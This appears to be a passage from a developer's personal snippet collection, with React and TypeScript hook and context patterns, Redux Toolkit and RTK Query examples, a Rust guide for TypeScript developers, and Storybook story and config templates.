
const reducer = (state: State, action: Action): State => {
  switch (action.type) {
    case 'increment':
      return { count: state.count + 1 }
    case 'decrement':
      return { count: state.count - 1 }
    case 'reset':
      return { count: action.payload }
  }
}

const [state, dispatch] = useReducer(reducer, { count: 0 })

useContext

interface ThemeContextType {
  theme: 'light' | 'dark'
  toggleTheme: () => void
}

const ThemeContext = createContext<ThemeContextType | null>(null)

const useTheme = () => {
  const context = useContext(ThemeContext)
  if (!context) {
    throw new Error('useTheme must be used within ThemeProvider')
  }
  return context
}

Generic components

interface ListProps<T> {
  items: T[]
  renderItem: (item: T) => ReactNode
}

const List = <T,>({ items, renderItem }: ListProps<T>) => (
  <ul>
    {items.map((item, index) => (
      <li key={index}>{renderItem(item)}</li>
    ))}
  </ul>
)

// Usage
<List items={users} renderItem={(user) => <span>{user.name}</span>} />

Discriminated unions for props

type ButtonProps =
  | { variant: 'link'; href: string }
  | { variant: 'button'; onClick: () => void }

const Button = (props: ButtonProps) => {
  if (props.variant === 'link') {
    return <a href={props.href}>Click me</a>
  }
  return <button onClick={props.onClick}>Click me</button>
}

useId

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

useId is a React Hook for generating unique IDs that can be passed to accessibility attributes.

import { useId } from 'react'

const PasswordField = () => {
  const passwordHintId = useId()
  return (
    <>
      <input type="password" aria-describedby={passwordHintId} />
      <p id={passwordHintId}>Password must be at least 8 characters</p>
    </>
  )
}

useId does not create an ID that is safe to use in CSS selectors, if you need that you must escape it first:

const originalId = useId()
const id = useMemo(() => CSS.escape(originalId), [originalId])

// this also works
const id = useMemo(() => originalId.replaceAll(':', '-'), [originalId])

React Context

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

TS/React docs: https://github.com/typescript-cheatsheets/react-typescript-cheatsheet#context

import { ReactNode, createContext, useContext } from 'react'

type SomethingContextData = any[]

interface SomethingContextType {
  data: SomethingContextData
}

const SomethingContext = createContext<SomethingContextType | null>(null)

interface ProviderProps {
  children: ReactNode
}

export const SomethingProvider = ({ children }: ProviderProps) => {
  const [data, setData] = useState<SomethingContextData>([])
  return (
    <SomethingContext.Provider value={{ data }}>{children}</SomethingContext.Provider>
  )
}

export const useSomething = () => {
  const context = useContext(SomethingContext)

  if (!context) {
    throw new Error('useSomething has to be used within <SomeContext.Provider>')
  }

  return context
}

or this, but it's not as good because it doesn't provide the type safety that the above does:

export interface CurrentUserContextType {
  username: string
}

export const CurrentUserContext = createContext<CurrentUserContextType>(
  {} as CurrentUserContextType
)

Example

From this article

import * as React from 'react'

const CountContext = React.createContext()

function countReducer(state, action) {
  switch (action.type) {
    case 'increment': {
      return { count: state.count + 1 }
    }
    case 'decrement': {
      return { count: state.count - 1 }
    }
    default: {
      throw new Error(`Unhandled action type: ${action.type}`)
    }
  }
}

function CountProvider({ children }) {
  const [state, dispatch] = React.useReducer(countReducer, { count: 0 })
  // NOTE: you *might* need to memoize this value
  // Learn more in http://kcd.im/optimize-context
  const value = { state, dispatch }
  return <CountContext.Provider value={value}>{children}</CountContext.Provider>
}

function useCount() {
  const context = React.useContext(CountContext)
  if (context === undefined) {
    throw new Error('useCount must be used within a CountProvider')
  }
  return context
}

export { CountProvider, useCount }

Usage

import React, { useContext } from 'react'

const MyComponent = () => {
  const { count } = useCount()

  return <div>Count: {count}</div>
}

<CountProvider>
  <MyComponent />
</CountProvider>

Child as a function

We can change the CountProvider component

function CountProvider({ children }) {
  const [state, dispatch] = React.useReducer(countReducer, { count: 0 })
  const value = { state, dispatch }
  return (
    <CountContext.Provider value={value}>
      {children(value)}
    </CountContext.Provider>
  )
}

And use it like so:

<CountProvider>{({ count }) => <div>Count: {count}</div>}</CountProvider>

Redux / Redux Toolkit

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Redux Toolkit (RTK)

Redux Toolkit is the official, recommended way to write Redux logic. It simplifies store setup, reduces boilerplate, and includes useful utilities.

Store setup

// store.ts
import { configureStore } from '@reduxjs/toolkit'
import counterReducer from './features/counter/counterSlice'

export const store = configureStore({
  reducer: {
    counter: counterReducer,
  },
})

export type RootState = ReturnType<typeof store.getState>
export type AppDispatch = typeof store.dispatch

Creating a slice

// features/counter/counterSlice.ts
import { createSlice, PayloadAction } from '@reduxjs/toolkit'

interface CounterState {
  value: number
}

const initialState: CounterState = {
  value: 0,
}

export const counterSlice = createSlice({
  name: 'counter',
  initialState,
  reducers: {
    increment: (state) => {
      state.value += 1
    },
    decrement: (state) => {
      state.value -= 1
    },
    incrementByAmount: (state, action: PayloadAction<number>) => {
      state.value += action.payload
    },
  },
})

export const { increment, decrement, incrementByAmount } = counterSlice.actions
export default counterSlice.reducer

Typed hooks

// hooks.ts
import { useDispatch, useSelector, TypedUseSelectorHook } from 'react-redux'
import type { RootState, AppDispatch } from './store'

export const useAppDispatch = () => useDispatch<AppDispatch>()
export const useAppSelector: TypedUseSelectorHook<RootState> = useSelector

Using in components

import { useAppSelector, useAppDispatch } from '../../hooks'
import { increment, decrement, incrementByAmount } from './counterSlice'

export const Counter = () => {
  const count = useAppSelector((state) => state.counter.value)
  const dispatch = useAppDispatch()

  return (
    <div>
      <button onClick={() => dispatch(decrement())}>-</button>
      <span>{count}</span>
      <button onClick={() => dispatch(increment())}>+</button>
      <button onClick={() => dispatch(incrementByAmount(5))}>+5</button>
    </div>
  )
}

Provider setup

// main.tsx or App.tsx
import { Provider } from 'react-redux'
import { store } from './store'

const App = () => (
  <Provider store={store}>
    <YourApp />
  </Provider>
)

Async logic with createAsyncThunk

import { createSlice, createAsyncThunk } from '@reduxjs/toolkit'

interface User {
  id: string
  name: string
}

interface UsersState {
  entities: User[]
  loading: 'idle' | 'pending' | 'succeeded' | 'failed'
  error: string | null
}

const initialState: UsersState = {
  entities: [],
  loading: 'idle',
  error: null,
}

export const fetchUsers = createAsyncThunk('users/fetchAll', async () => {
  const response = await fetch('/api/users')
  return response.json() as Promise<User[]>
})

const usersSlice = createSlice({
  name: 'users',
  initialState,
  reducers: {},
  extraReducers: (builder) => {
    builder
      .addCase(fetchUsers.pending, (state) => {
        state.loading = 'pending'
      })
      .addCase(fetchUsers.fulfilled, (state, action) => {
        state.loading = 'succeeded'
        state.entities = action.payload
      })
      .addCase(fetchUsers.rejected, (state, action) => {
        state.loading = 'failed'
        state.error = action.error.message ?? 'Something went wrong'
      })
  },
})

export default usersSlice.reducer

RTK Query

For data fetching, RTK Query is built into Redux Toolkit and handles caching, loading states, and more.

// services/api.ts
import { createApi, fetchBaseQuery } from '@reduxjs/toolkit/query/react'

interface Post {
  id: number
  title: string
  body: string
}

export const api = createApi({
  reducerPath: 'api',
  baseQuery: fetchBaseQuery({ baseUrl: '/api' }),
  tagTypes: ['Post'],
  endpoints: (builder) => ({
    getPosts: builder.query<Post[], void>({
      query: () => 'posts',
      providesTags: ['Post'],
    }),
    getPost: builder.query<Post, number>({
      query: (id) => `posts/${id}`,
    }),
    addPost: builder.mutation<Post, Partial<Post>>({
      query: (body) => ({
        url: 'posts',
        method: 'POST',
        body,
      }),
      invalidatesTags: ['Post'],
    }),
  }),
})

export const { useGetPostsQuery, useGetPostQuery, useAddPostMutation } = api

Add the API reducer and middleware to your store:

import { configureStore } from '@reduxjs/toolkit'
import { api } from './services/api'

export const store = configureStore({
  reducer: {
    [api.reducerPath]: api.reducer,
  },
  middleware: (getDefaultMiddleware) =>
    getDefaultMiddleware().concat(api.middleware),
})

Use in components:

import { useGetPostsQuery, useAddPostMutation } from './services/api'

const Posts = () => {
  const { data: posts, isLoading, error } = useGetPostsQuery()
  const [addPost, { isLoading: isAdding }] = useAddPostMutation()

  if (isLoading) return <div>Loading...</div>
  if (error) return <div>Error loading posts</div>

  return (
  <div>
      <button onClick={() => addPost({ title: 'New Post' })} disabled={isAdding}>
        Add Post
      </button>
      {posts?.map((post) => (
        <div key={post.id}>{post.title}</div>
      ))}
  </div>
)
}

Selectors

// Inline selector
const count = useAppSelector((state) => state.counter.value)

// Reusable selector
export const selectCount = (state: RootState) => state.counter.value

// With createSelector for memoization
import { createSelector } from '@reduxjs/toolkit'

const selectUsers = (state: RootState) => state.users.entities
const selectActiveFilter = (state: RootState) => state.filters.active

export const selectActiveUsers = createSelector(
  [selectUsers, selectActiveFilter],
  (users, isActive) => users.filter((user) => user.active === isActive)
)

Rust for TypeScript developers

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

A guide to Rust for developers coming from TypeScript/JavaScript.

Key differences from TypeScript

Concept	TypeScript	Rust
Typing	Static, structural	Static, nominal + ownership
Execution	Interpreted (via JS)	Compiled to native binary
Memory	Garbage collected	Ownership system (no GC)
Null	`null` / `undefined`	`Option<T>` (no null)
Errors	Exceptions	`Result<T, E>` (no exceptions)
Package manager	npm/yarn/pnpm	Cargo
Concurrency	Single-threaded + async	Multi-threaded + async

Variables and constants

TypeScript

const name: string = "Alice"
let age: number = 30
const isActive = true

Rust

// Immutable by default (like const)
let name: &str = "Alice";
let name = "Alice";  // Type inference

// Mutable (like let)
let mut age = 30;
age = 31;  // OK

// Constants (compile-time, SCREAMING_CASE)
const MAX_SIZE: usize = 100;

// Static (like const but with fixed memory address)
static VERSION: &str = "1.0.0";

// Shadowing (redeclare with same name)
let x = 5;
let x = x + 1;  // New variable, shadows previous
let x = "now a string";  // Can change type!

Basic types

TypeScript	Rust
`string`	`String` (owned) or `&str` (borrowed)
`number`	`i32`, `i64`, `f32`, `f64`, `usize`, etc.
`boolean`	`bool`
`any`	No equivalent (use enums/generics)
`null` / `undefined`	`Option<T>`
`Array<T>`	`Vec<T>` (heap) or `[T; N]` (stack)
`Record<K, V>`	`HashMap<K, V>`
`Set<T>`	`HashSet<T>`
`[T, U]`	`(T, U)` tuple

Numeric types

// Signed integers
let a: i8 = 127;
let b: i16 = 32_767;
let c: i32 = 2_147_483_647;  // Default integer type
let d: i64 = 9_223_372_036_854_775_807;
let e: i128 = 170_141_183_460_469_231_731_687_303_715_884_105_727;

// Unsigned integers
let a: u8 = 255;
let b: u32 = 4_294_967_295;
let c: usize = 100;  // Pointer-sized (for indexing)

// Floating point
let f: f32 = 3.14;
let g: f64 = 3.141592653589793;  // Default float type

// Underscores for readability
let million = 1_000_000;

Strings

// &str - string slice (borrowed, immutable, on stack or in binary)
let s: &str = "hello";  // String literal

// String - owned, heap-allocated, growable
let mut s = String::from("hello");
s.push_str(", world!");

// Converting
let owned: String = "hello".to_string();
let owned: String = String::from("hello");
let slice: &str = &owned;  // Borrow as slice

// String formatting
let name = "Alice";
let greeting = format!("Hello, {}!", name);
println!("Hello, {}!", name);  // Print to stdout

Functions

TypeScript

function greet(name: string): string {
    return `Hello, ${name}!`
}

const add = (a: number, b: number): number => a + b

function log(message: string, level: string = "INFO"): void {
    console.log(`[${level}] ${message}`)
}

Rust

// Basic function
fn greet(name: &str) -> String {
    format!("Hello, {}!", name)
}

// No return keyword for last expression (no semicolon!)
fn add(a: i32, b: i32) -> i32 {
    a + b  // No semicolon = return value
}

// Explicit return
fn add(a: i32, b: i32) -> i32 {
    return a + b;  // Semicolon with return keyword
}

// No default parameters - use Option or builder pattern
fn log(message: &str, level: Option<&str>) {
    let level = level.unwrap_or("INFO");
    println!("[{}] {}", level, message);
}
log("Hello", None);
log("Hello", Some("DEBUG"));

// Closures (like arrow functions)
let add = |a: i32, b: i32| a + b;
let add = |a, b| a + b;  // Type inference in context

// Multi-line closure
let process = |x: i32| {
    let y = x * 2;
    y + 1
};

Ownership and borrowing

This is THE key concept in Rust. There's no garbage collector - instead, Rust uses ownership rules enforced at compile time.

The rules

Each value has exactly one owner
When the owner goes out of scope, the value is dropped
You can borrow references: &T (immutable) or &mut T (mutable)
You can have many &T OR one &mut T, never both

TypeScript

function process(data: string[]): void {
    console.log(data)
}

const arr = ["a", "b", "c"]
process(arr)
console.log(arr)  // Still accessible - GC handles memory

Rust

fn process(data: Vec<String>) {
    println!("{:?}", data);
}  // data is dropped here

let arr = vec!["a".to_string(), "b".to_string()];
process(arr);  // Ownership MOVED to function
// println!("{:?}", arr);  // ERROR! arr no longer valid

// Solution 1: Clone (copy the data)
let arr = vec!["a".to_string(), "b".to_string()];
process(arr.clone());  // Clone is moved
println!("{:?}", arr);  // Original still valid

// Solution 2: Borrow (pass a reference)
fn process(data: &Vec<String>) {
    println!("{:?}", data);
}

let arr = vec!["a".to_string(), "b".to_string()];
process(&arr);  // Borrow
println!("{:?}", arr);  // Still valid!

// Solution 3: Mutable borrow
fn add_item(data: &mut Vec<String>) {
    data.push("c".to_string());
}

let mut arr = vec!["a".to_string(), "b".to_string()];
add_item(&mut arr);
println!("{:?}", arr);  // ["a", "b", "c"]

Structs

TypeScript

interface User {
    id: number
    name: string
    email?: string
}

class UserService {
    private users: User[] = []

    addUser(user: User): void {
        this.users.push(user)
    }
}

Rust

// Struct (like interface)
struct User {
    id: u32,
    name: String,
    email: Option<String>,  // Optional field
}

// Implementation block (like class methods)
impl User {
    // Associated function (like static method)
    fn new(id: u32, name: String) -> Self {
        Self {
            id,
            name,
            email: None,
        }
    }

    // Method (takes &self or &mut self)
    fn greet(&self) -> String {
        format!("Hello, {}!", self.name)
    }

    fn set_email(&mut self, email: String) {
        self.email = Some(email);
    }
}

// Usage
let mut user = User::new(1, "Alice".to_string());
user.set_email("alice@example.com".to_string());
println!("{}", user.greet());

// Shorthand initialization
let name = "Alice".to_string();
let user = User { id: 1, name, email: None };

// Struct update syntax (like spread)
let user2 = User { id: 2, ..user };  // Note: moves non-Copy fields!

Tuple structs and unit structs

// Tuple struct
struct Point(f64, f64);
let p = Point(3.0, 4.0);
println!("{}, {}", p.0, p.1);

// Unit struct (no fields)
struct Marker;

// Newtype pattern (wrapper for type safety)
struct UserId(u32);
struct PostId(u32);

fn get_user(id: UserId) { }
// get_user(PostId(1));  // ERROR! Type mismatch

Enums (sum types)

Rust enums are much more powerful than TypeScript enums - they're sum types that can hold data.

TypeScript

type Result<T, E> =
    | { ok: true; value: T }
    | { ok: false; error: E }

type Status = "pending" | "active" | "inactive"

Rust

// Simple enum
enum Status {
    Pending,
    Active,
    Inactive,
}

let status = Status::Active;

// Enum with data (like discriminated unions)
enum Message {
    Quit,
    Move { x: i32, y: i32 },
    Write(String),
    ChangeColor(u8, u8, u8),
}

let msg = Message::Move { x: 10, y: 20 };
let msg = Message::Write("hello".to_string());

// Pattern matching (like switch but exhaustive)
match msg {
    Message::Quit => println!("Quit"),
    Message::Move { x, y } => println!("Move to {}, {}", x, y),
    Message::Write(text) => println!("Text: {}", text),
    Message::ChangeColor(r, g, b) => println!("Color: {}, {}, {}", r, g, b),
}

Option and Result (built-in)

// Option<T> - replaces null/undefined
enum Option<T> {
    Some(T),
    None,
}

let name: Option<String> = Some("Alice".to_string());
let missing: Option<String> = None;

// Handling Option
match name {
    Some(n) => println!("Name: {}", n),
    None => println!("No name"),
}

// Shortcuts
let n = name.unwrap();              // Panics if None!
let n = name.unwrap_or("default".to_string());
let n = name.unwrap_or_else(|| compute_default());
let n = name.expect("Name required");  // Panic with message

// if let (when you only care about one variant)
if let Some(n) = name {
    println!("Name: {}", n);
}

// Result<T, E> - for operations that can fail
enum Result<T, E> {
    Ok(T),
    Err(E),
}

fn divide(a: f64, b: f64) -> Result<f64, String> {
    if b == 0.0 {
        Err("Division by zero".to_string())
    } else {
        Ok(a / b)
    }
}

// Handling Result
match divide(10.0, 2.0) {
    Ok(result) => println!("Result: {}", result),
    Err(e) => println!("Error: {}", e),
}

// The ? operator (propagate errors, like throw)
fn calculate() -> Result<f64, String> {
    let a = divide(10.0, 2.0)?;  // Returns Err early if error
    let b = divide(a, 2.0)?;
    Ok(b)
}

Traits (interfaces)

TypeScript

interface Drawable {
    draw(): void
}

interface Resizable {
    resize(width: number, height: number): void
}

class Circle implements Drawable, Resizable {
    draw() { /* ... */ }
    resize(w: number, h: number) { /* ... */ }
}

Rust

trait Drawable {
    fn draw(&self);
}

trait Resizable {
    fn resize(&mut self, width: u32, height: u32);
}

struct Circle {
    radius: f64,
}

impl Drawable for Circle {
    fn draw(&self) {
        println!("Drawing circle with radius {}", self.radius);
    }
}

impl Resizable for Circle {
    fn resize(&mut self, width: u32, _height: u32) {
        self.radius = width as f64 / 2.0;
    }
}

// Trait bounds (like generic constraints)
fn render<T: Drawable>(item: &T) {
    item.draw();
}

// Multiple bounds
fn process<T: Drawable + Resizable>(item: &mut T) {
    item.draw();
    item.resize(100, 100);
}

// where clause (cleaner for complex bounds)
fn complex<T, U>(t: &T, u: &U) -> String
where
    T: Drawable + Clone,
    U: Resizable,
{
    // ...
}

// Default implementations
trait Greet {
    fn name(&self) -> &str;

    fn greet(&self) -> String {
        format!("Hello, {}!", self.name())
    }
}

Common traits to implement

// Debug - for {:?} formatting
#[derive(Debug)]
struct Point { x: f64, y: f64 }

// Clone - explicit copying
#[derive(Clone)]
struct Data { values: Vec<i32> }

// Copy - implicit copying (for simple stack types)
#[derive(Copy, Clone)]
struct Point { x: f64, y: f64 }

// PartialEq, Eq - equality comparison
#[derive(PartialEq, Eq)]
struct Id(u32);

// Default - default value
#[derive(Default)]
struct Config {
    debug: bool,
    port: u16,
}
let config = Config::default();

// Derive multiple
#[derive(Debug, Clone, PartialEq)]
struct User { name: String }

Collections

TypeScript

const arr: number[] = [1, 2, 3]
arr.push(4)
const doubled = arr.map(n => n * 2)
const evens = arr.filter(n => n % 2 === 0)
const sum = arr.reduce((a, b) => a + b, 0)

Rust

// Vec<T> - dynamic array
let mut arr = vec![1, 2, 3];
arr.push(4);

// Iterators (lazy, chainable - like JS but more powerful)
let doubled: Vec<i32> = arr.iter()
    .map(|n| n * 2)
    .collect();

let evens: Vec<&i32> = arr.iter()
    .filter(|n| *n % 2 == 0)
    .collect();

let sum: i32 = arr.iter().sum();

// Or with fold (like reduce)
let sum: i32 = arr.iter().fold(0, |acc, n| acc + n);

// Iteration
for n in &arr {
    println!("{}", n);
}

for (i, n) in arr.iter().enumerate() {
    println!("{}: {}", i, n);
}

// Common iterator methods
arr.iter().count();
arr.iter().any(|n| *n > 2);
arr.iter().all(|n| *n > 0);
arr.iter().find(|n| **n > 2);
arr.iter().position(|n| *n == 2);
arr.iter().take(2);
arr.iter().skip(1);
arr.iter().chain(other.iter());
arr.iter().zip(other.iter());
arr.iter().flat_map(|n| vec![*n, *n]);

HashMap

use std::collections::HashMap;

let mut scores: HashMap<String, i32> = HashMap::new();
scores.insert("Alice".to_string(), 100);
scores.insert("Bob".to_string(), 85);

// From iterator
let scores: HashMap<_, _> = vec![
    ("Alice", 100),
    ("Bob", 85),
].into_iter().collect();

// Access
let alice_score = scores.get("Alice");  // Option<&i32>
let alice_score = scores["Alice"];      // Panics if missing!

// Check and insert
scores.entry("Charlie".to_string()).or_insert(0);

// Update
scores.entry("Alice".to_string())
    .and_modify(|score| *score += 10)
    .or_insert(0);

// Iterate
for (name, score) in &scores {
    println!("{}: {}", name, score);
}

// Remove
scores.remove("Bob");

Error handling

TypeScript

try {
    const data = await fetchData()
} catch (error) {
    console.error("Failed:", error)
    throw error
}

Rust

use std::fs::File;
use std::io::{self, Read};

// Result-based error handling (no exceptions!)
fn read_file(path: &str) -> Result<String, io::Error> {
    let mut file = File::open(path)?;  // ? propagates error
    let mut contents = String::new();
    file.read_to_string(&mut contents)?;
    Ok(contents)
}

// Handling errors
match read_file("config.txt") {
    Ok(contents) => println!("{}", contents),
    Err(e) => eprintln!("Error: {}", e),
}

// With if let
if let Ok(contents) = read_file("config.txt") {
    println!("{}", contents);
}

// Unwrap (panic on error - use sparingly!)
let contents = read_file("config.txt").unwrap();
let contents = read_file("config.txt").expect("Failed to read config");

// Custom error types
#[derive(Debug)]
enum AppError {
    IoError(io::Error),
    ParseError(String),
    NotFound,
}

impl From<io::Error> for AppError {
    fn from(error: io::Error) -> Self {
        AppError::IoError(error)
    }
}

// Using thiserror crate (recommended)
use thiserror::Error;

#[derive(Error, Debug)]
enum AppError {
    #[error("IO error: {0}")]
    Io(#[from] io::Error),
    #[error("Parse error: {0}")]
    Parse(String),
    #[error("Not found")]
    NotFound,
}

// Using anyhow for application code
use anyhow::{Context, Result};

fn load_config() -> Result<Config> {
    let contents = std::fs::read_to_string("config.json")
        .context("Failed to read config file")?;
    let config: Config = serde_json::from_str(&contents)
        .context("Failed to parse config")?;
    Ok(config)
}

Async/Await

TypeScript

async function fetchData(url: string): Promise<Response> {
    const response = await fetch(url)
    return response
}

const results = await Promise.all([
    fetchData("url1"),
    fetchData("url2")
])

Rust

// Requires async runtime (tokio or async-std)
use tokio;

async fn fetch_data(url: &str) -> Result<String, reqwest::Error> {
    let response = reqwest::get(url).await?;
    response.text().await
}

// Main function with tokio
#[tokio::main]
async fn main() {
    let result = fetch_data("https://api.example.com").await;
}

// Concurrent execution (like Promise.all)
use futures::future::join_all;

async fn fetch_all(urls: Vec<&str>) -> Vec<Result<String, reqwest::Error>> {
    let futures: Vec<_> = urls.into_iter()
        .map(|url| fetch_data(url))
        .collect();

    join_all(futures).await
}

// Or with tokio::join! for fixed number
let (result1, result2) = tokio::join!(
    fetch_data("url1"),
    fetch_data("url2")
);

// Spawn task (like fire and forget)
tokio::spawn(async {
    // Background work
});

Generics

TypeScript

function first<T>(arr: T[]): T | undefined {
    return arr[0]
}

interface Container<T> {
    value: T
    map<U>(fn: (v: T) => U): Container<U>
}

Rust

// Generic function
fn first<T>(slice: &[T]) -> Option<&T> {
    slice.first()
}

// Generic struct
struct Container<T> {
    value: T,
}

impl<T> Container<T> {
    fn new(value: T) -> Self {
        Self { value }
    }

    fn map<U, F>(self, f: F) -> Container<U>
    where
        F: FnOnce(T) -> U,
    {
        Container { value: f(self.value) }
    }
}

// Usage
let c = Container::new(42);
let doubled = c.map(|n| n * 2);

// Constrained generics
fn print_debug<T: std::fmt::Debug>(value: T) {
    println!("{:?}", value);
}

// Multiple bounds
fn process<T: Clone + Debug>(value: T) { }

// impl Trait (simpler syntax for return types)
fn make_iterator() -> impl Iterator<Item = i32> {
    vec![1, 2, 3].into_iter()
}

Modules

TypeScript

// utils.ts
export function helper() {}
export const VERSION = "1.0"

// main.ts
import { helper, VERSION } from './utils'

Rust

// src/utils.rs
pub fn helper() {}
pub const VERSION: &str = "1.0";

// Private by default
fn internal() {}

// src/main.rs
mod utils;  // Declare module

use crate::utils::helper;
use crate::utils::VERSION;

fn main() {
    helper();
}

// Nested modules
mod outer {
    pub mod inner {
        pub fn function() {}
    }
}

use outer::inner::function;

// Re-exports
pub use self::inner::function;

Project structure

my_project/
├── Cargo.toml
├── src/
│   ├── main.rs       # Binary entry point
│   ├── lib.rs        # Library entry point
│   ├── utils.rs      # Module file
│   └── models/       # Module directory
│       ├── mod.rs    # Module declaration
│       └── user.rs   # Submodule

Package management (Cargo)

TypeScript

npm init
npm install express
npm install -D typescript

Rust

cargo new my_project
cargo add serde
cargo add tokio --features full

# Cargo.toml
[package]
name = "my_project"
version = "0.1.0"
edition = "2021"

[dependencies]
serde = { version = "1.0", features = ["derive"] }
tokio = { version = "1", features = ["full"] }

[dev-dependencies]
mockall = "0.11"

cargo build          # Build
cargo run            # Build and run
cargo test           # Run tests
cargo check          # Fast syntax check
cargo clippy         # Linter
cargo fmt            # Format code
cargo doc --open     # Generate docs

JSON handling (serde)

TypeScript

interface User {
    id: number
    name: string
}
const json = JSON.stringify(user)
const parsed: User = JSON.parse(json)

Rust

use serde::{Deserialize, Serialize};

#[derive(Serialize, Deserialize, Debug)]
struct User {
    id: u32,
    name: String,
    #[serde(skip_serializing_if = "Option::is_none")]
    email: Option<String>,
    #[serde(rename = "createdAt")]
    created_at: String,
}

// Serialize (stringify)
let user = User { id: 1, name: "Alice".into(), email: None, created_at: "2024-01-01".into() };
let json = serde_json::to_string(&user)?;
let json_pretty = serde_json::to_string_pretty(&user)?;

// Deserialize (parse)
let user: User = serde_json::from_str(&json)?;

// Dynamic JSON
use serde_json::Value;
let v: Value = serde_json::from_str(data)?;
let name = v["name"].as_str();

HTTP server (axum)

TypeScript (Express)

import express from 'express'

const app = express()
app.use(express.json())

app.get('/users/:id', (req, res) => {
    res.json({ id: req.params.id, name: 'Alice' })
})

app.listen(3000)

Rust (axum)

use axum::{
    routing::{get, post},
    Router, Json, extract::Path,
};
use serde::{Deserialize, Serialize};

#[derive(Serialize)]
struct User {
    id: u32,
    name: String,
}

#[derive(Deserialize)]
struct CreateUser {
    name: String,
}

async fn get_user(Path(id): Path<u32>) -> Json<User> {
    Json(User { id, name: "Alice".into() })
}

async fn create_user(Json(payload): Json<CreateUser>) -> Json<User> {
    Json(User { id: 1, name: payload.name })
}

#[tokio::main]
async fn main() {
    let app = Router::new()
        .route("/users/:id", get(get_user))
        .route("/users", post(create_user));

    let listener = tokio::net::TcpListener::bind("0.0.0.0:3000").await.unwrap();
    axum::serve(listener, app).await.unwrap();
}

Testing

TypeScript (Jest)

describe('math', () => {
    it('adds numbers', () => {
        expect(add(1, 2)).toBe(3)
    })
})

Rust

// Tests in same file
fn add(a: i32, b: i32) -> i32 {
    a + b
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_add() {
        assert_eq!(add(1, 2), 3);
    }

    #[test]
    fn test_add_negative() {
        assert_eq!(add(-1, 1), 0);
    }

    #[test]
    #[should_panic(expected = "divide by zero")]
    fn test_divide_by_zero() {
        divide(1, 0);
    }

    #[test]
    fn test_result() -> Result<(), String> {
        let result = divide(10, 2)?;
        assert_eq!(result, 5);
        Ok(())
    }
}

// Integration tests in tests/ directory
// tests/integration_test.rs
use my_crate::public_function;

#[test]
fn test_integration() {
    assert!(public_function());
}

cargo test
cargo test test_add  # Run specific test
cargo test -- --nocapture  # Show println! output

Common gotchas for TS developers

Immutable by default - use mut for mutable variables
Ownership - values have one owner, moves happen
Borrowing - & for shared ref, &mut for exclusive ref
No null - use Option<T> and handle None
No exceptions - use Result<T, E> and ? operator
Semicolons matter - no semicolon = expression return value
String types - String (owned) vs &str (borrowed)
== always strict - no type coercion
No function overloading - use traits or different names
Explicit type conversion - as, into(), from()

// Expression vs statement
let x = {
    let y = 5;
    y + 1  // No semicolon = return value
};  // x = 6

let x = {
    let y = 5;
    y + 1;  // Semicolon = statement, returns ()
};  // x = ()

Resources

Storybook

Zander Martineau — Tue, 20 Jan 2026 00:00:00 GMT

Stories (CSF3)

This is a good starter that includes most things you'll need when creating stories.

// MyComponent.stories.tsx
import type { Meta, StoryObj } from '@storybook/react'
import { MyComponent } from './MyComponent'

const meta = {
  title: 'Components/MyComponent',
  component: MyComponent,
  // Autodocs
  tags: ['autodocs'],
  // Default args for all stories
  args: {
    prop1: 'Default value',
  },
} satisfies Meta<typeof MyComponent>

export default meta
type Story = StoryObj<typeof meta>

export const Default: Story = {
  args: {
    prop1: 'Something',
    prop2: true,
  },
}

export const OnDark: Story = {
  ...Default,
  parameters: {
    backgrounds: { default: 'dark' },
  },
}

Custom render function

export const WithWrapper: Story = {
  render: (args) => (
    <div style={{ maxWidth: '300px' }}>
      <MyComponent {...args} />
    </div>
  ),
}

Play function (interaction testing)

Play functions let you simulate user interactions for testing.

// LoginForm.stories.tsx
import type { Meta, StoryObj } from '@storybook/react'
import { within, userEvent, expect } from '@storybook/test'
import { LoginForm } from './LoginForm'

const meta = {
  title: 'Forms/LoginForm',
  component: LoginForm,
} satisfies Meta<typeof LoginForm>

export default meta
type Story = StoryObj<typeof meta>

export const FilledForm: Story = {
  play: async ({ canvasElement }) => {
    const canvas = within(canvasElement)

    await userEvent.type(
      canvas.getByLabelText('Email'),
      'email@provider.com'
    )
    await userEvent.type(
      canvas.getByLabelText('Password'),
      'a-random-password'
    )
    await userEvent.click(canvas.getByRole('button', { name: 'Sign in' }))

    await expect(canvas.getByText('Welcome back!')).toBeInTheDocument()
  },
}

Args and argTypes

const meta = {
  title: 'Components/Button',
  component: Button,
  argTypes: {
    variant: {
      control: 'select',
      options: ['primary', 'secondary', 'ghost'],
    },
    size: {
      control: 'radio',
      options: ['sm', 'md', 'lg'],
    },
    disabled: { control: 'boolean' },
    onClick: { action: 'clicked' },
  },
} satisfies Meta<typeof Button>

Decorators

const meta = {
  title: 'Components/Card',
  component: Card,
  decorators: [
    (Story) => (
      <div style={{ padding: '2rem' }}>
        <Story />
      </div>
    ),
  ],
} satisfies Meta<typeof Card>

Non-story exports

import type { Meta, StoryObj } from '@storybook/react'
import { MyComponent } from './MyComponent'

const meta = {
  title: 'MyComponent',
  component: MyComponent,
  // Only include these as stories
  includeStories: ['Default', 'WithData'],
  // Or exclude anything matching pattern
  excludeStories: /.*Data$/,
} satisfies Meta<typeof MyComponent>

export default meta
type Story = StoryObj<typeof meta>

// This won't be a story (excluded by pattern)
export const mockData = { foo: 1, bar: 'baz' }

export const Default: Story = {}

export const WithData: Story = {
  args: { data: mockData },
}

Config

`main.ts`

// .storybook/main.ts
import type { StorybookConfig } from '@storybook/react-vite'

const config: StorybookConfig = {
  stories: ['../src/**/*.mdx', '../src/**/*.stories.@(js|jsx|mjs|ts|tsx)'],
  addons: [
    '@storybook/addon-essentials',
    '@storybook/addon-a11y',
    '@storybook/addon-interactions',
  ],
  framework: {
    name: '@storybook/react-vite',
    options: {},
  },
}

export default config

`preview.ts`

// .storybook/preview.ts
import type { Preview } from '@storybook/react'
import '../src/styles/globals.css'

const preview: Preview = {
  parameters: {
    controls: {
      matchers: {
        color: /(background|color)$/i,
        date: /Date$/i,
      },
    },
    backgrounds: {
      default: 'light',
      values: [
        { name: 'light', value: '#ffffff' },
        { name: 'dark', value: '#1a1a1a' },
      ],
    },
  },
  decorators: [
    (Story) => (
      <div style={{ fontFamily: 'system-ui, sans-serif' }}>
        <Story />
      </div>
    ),
  ],
}

export default preview

Useful addons

@storybook/addon-a11y - Accessibility testing
